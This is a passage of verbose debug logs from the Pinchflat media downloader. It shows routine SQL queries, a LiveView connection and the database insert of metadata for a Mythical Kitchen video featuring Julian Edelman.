00:48:12Z]] 20:48:12.540 [debug] Current batch of media processed. Will check again in 1000ms 20:48:13.541 [debug] Current batch of media processed. Will check again in 1000ms 20:48:14.305 [info] GET /sources 20:48:14.305 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 20:48:14.306 [debug] QUERY OK source="settings" db=0.2ms idle=248.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:14.306 [debug] QUERY OK source="settings" db=0.1ms idle=249.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:14.307 [debug] QUERY OK source="settings" db=0.1ms idle=249.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:14.307 [debug] QUERY OK source="settings" db=0.0ms idle=250.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:14.308 [debug] QUERY OK source="settings" db=0.0ms idle=217.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:14.309 [debug] QUERY OK source="sources" db=0.5ms idle=2.0ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 20:48:14.310 [debug] QUERY OK source="sources" db=1.0ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 20:48:14.311 [info] Sent 200 in 5ms 20:48:14.446 [info] CONNECTED TO Phoenix.LiveView.Socket in 25µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Oz08KzEEMSYqBXUSbjQYCHUPf25fGEUpPZnH_aHJz6Ee6xwKGLH_hO3D", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:48:14.456 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 20:48:14.457 [debug] QUERY OK source="sources" db=0.5ms idle=149.1ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 20:48:14.458 [debug] QUERY OK source="sources" db=0.9ms idle=149.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 20:48:14.458 [debug] Replied in 2ms 20:48:14.459 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:48:14.459 [debug] Replied in 90µs 20:48:14.542 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Julian Edelman eats his last meal. \n\nTimestamps\n0:00 Julian's Last Meal Menu\n1:48 Have You Thought About Your Last Meal Before?\n2:30 How Often Do You Think About Death?\n3:15 1st Course - Bagels & Deviled Eggs\n4:38 Jewish Heritage\n6:24 How Many Deviled Eggs Could You Eat In 1 Sitting?\n7:14 David Vs. Goliath\n7:44 The Patriots Were The Villains\n8:21 Buffalo Bills Fans Get Creative\n10:03 2nd Course - Potstickers & Mission Style Burrito\n10:53 Biggest Game Moments\n12:19 Being Happily Miserable\n14:09 Training For The Impossible Catch\n16:44 Julian's Favorite Catch Of His Career\n18:55 Taking Big Hits\n20:30 3rd Course - French Dip, Smash Burger, & Fries\n21:48 When Tom Brady Calls\n23:11 Swifties In The Fandom\n24:00 Proper Burger Form\n24:45 Lessons From Bill Belichick\n26:26 CTE & The Dangers Of Football\n28:13 4th Course - Hot Fudge Sundae\n28:42 What Julian's Mouth Do\n29:23 Charging His Dad\n31:31 Different Kids Need Different Things\n31:58 Parenting Journey\n33:58 Who's The One Person You'd Want To Share Your Last Meal With?\n34:14 What Would Your Final Stat Have Been?\n34:41 What Song Do You Want Played At Your Funeral?\n34:47 What QB Would You Most Want To Play For?\n35:50 What Wide Receiver Would You Want To Man Up On?\n36:13 What's Your Greatest Regret?\n36:16 What Annoyed You About Tom Brady?\n36:55 Are You Happy?\n37:25 Julian's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-" <> ..., "duration" => 2300, "filename" => "/downloads/Last Meals/2024-02-08 Super Bowl MVP Julian Edelman Eats His Last Meal/Super Bowl MVP Julian Edelman Eats His Last Meal [FpEhDtzfcBc].mp4", "id" => "FpEhDtzfcBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=FpEhDtzfcBc", "playlist_index" => 52, "timestamp" => 1707390012, "title" => "Super Bowl MVP Julian Edelman Eats His Last Meal", "upload_date" => "20240208"} 20:48:14.543 [debug] QUERY OK source="sources" db=0.2ms idle=234.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:14.543 [debug] QUERY OK source="sources" db=0.1ms idle=234.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:14.544 [debug] QUERY OK source="media_items" db=0.2ms idle=233.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-08 11:00:12Z], 1] 20:48:14.546 [debug] QUERY OK source="media_items" db=2.0ms idle=87.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Julian Edelman eats his last meal. \n\nTimestamps\n0:00 Julian's Last Meal Menu\n1:48 Have You Thought About Your Last Meal Before?\n2:30 How Often Do You Think About Death?\n3:15 1st Course - Bagels & Deviled Eggs\n4:38 Jewish Heritage\n6:24 How Many Deviled Eggs Could You Eat In 1 Sitting?\n7:14 David Vs. Goliath\n7:44 The Patriots Were The Villains\n8:21 Buffalo Bills Fans Get Creative\n10:03 2nd Course - Potstickers & Mission Style Burrito\n10:53 Biggest Game Moments\n12:19 Being Happily Miserable\n14:09 Training For The Impossible Catch\n16:44 Julian's Favorite Catch Of His Career\n18:55 Taking Big Hits\n20:30 3rd Course - French Dip, Smash Burger, & Fries\n21:48 When Tom Brady Calls\n23:11 Swifties In The Fandom\n24:00 Proper Burger Form\n24:45 Lessons From Bill Belichick\n26:26 CTE & The Dangers Of Football\n28:13 4th Course - Hot Fudge Sundae\n28:42 What Julian's Mouth Do\n29:23 Charging His Dad\n31:31 Different Kids Need Different Things\n31:58 Parenting Journey\n33:58 Who's The One Person You'd Want To Share Your Last Meal With?\n34:14 What Would Your Final Stat Have Been?\n34:41 What Song Do You Want Played At Your Funeral?\n34:47 What QB Would You Most Want To Play For?\n35:50 What Wide Receiver Would You Want To Man Up On?\n36:13 What's Your Greatest Regret?\n36:16 What Annoyed You About Tom Brady?\n36:55 Are You Happy?\n37:25 Julian's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-" <> ..., "Super Bowl MVP Julian Edelman Eats His Last Meal", "f8378ab1-7e56-45c0-839d-171875f53f3f", "https://www.youtube.com/watch?v=FpEhDtzfcBc", false, "FpEhDtzfcBc", 2300, false, 52, "/downloads/Last Meals/2024-02-08 Super Bowl MVP Julian Edelman Eats His Last Meal/Super Bowl MVP Julian Edelman Eats His Last Meal [FpEhDtzfcBc].mp4", false, false, 1, [], 0, ~U[2024-02-08 11:00:12Z], ~U[2026-03-28 00:48:14Z], ~U[2026-03-28 00:48:14Z], "Today, Julian Edelman eats his last meal. \n\nTimestamps\n0:00 Julian's Last Meal Menu\n1:48 Have You Thought About Your Last Meal Before?\n2:30 How Often Do You Think About Death?\n3:15 1st Course - Bagels & Deviled Eggs\n4:38 Jewish Heritage\n6:24 How Many Deviled Eggs Could You Eat In 1 Sitting?\n7:14 David Vs. Goliath\n7:44 The Patriots Were The Villains\n8:21 Buffalo Bills Fans Get Creative\n10:03 2nd Course - Potstickers & Mission Style Burrito\n10:53 Biggest Game Moments\n12:19 Being Happily Miserable\n14:09 Training For The Impossible Catch\n16:44 Julian's Favorite Catch Of His Career\n18:55 Taking Big Hits\n20:30 3rd Course - French Dip, Smash Burger, & Fries\n21:48 When Tom Brady Calls\n23:11 Swifties In The Fandom\n24:00 Proper Burger Form\n24:45 Lessons From Bill Belichick\n26:26 CTE & The Dangers Of Football\n28:13 4th Course - Hot Fudge Sundae\n28:42 What Julian's Mouth Do\n29:23 Charging His Dad\n31:31 Different Kids Need Different Things\n31:58 Parenting Journey\n33:58 Who's The One Person You'd Want To Share Your Last Meal With?\n34:14 What Would Your Final Stat Have Been?\n34:41 What Song Do You Want Played At Your Funeral?\n34:47 What QB Would You Most Want To Play For?\n35:50 What Wide Receiver Would You Want To Man Up On?\n36:13 What's Your Greatest Regret?\n36:16 What Annoyed You About Tom Brady?\n36:55 Are You Happy?\n37:25 Julian's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythi (truncated) 20:48:14.547 [debug] QUERY OK source="sources" db=0.1ms idle=88.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:14.547 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:14.548 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND 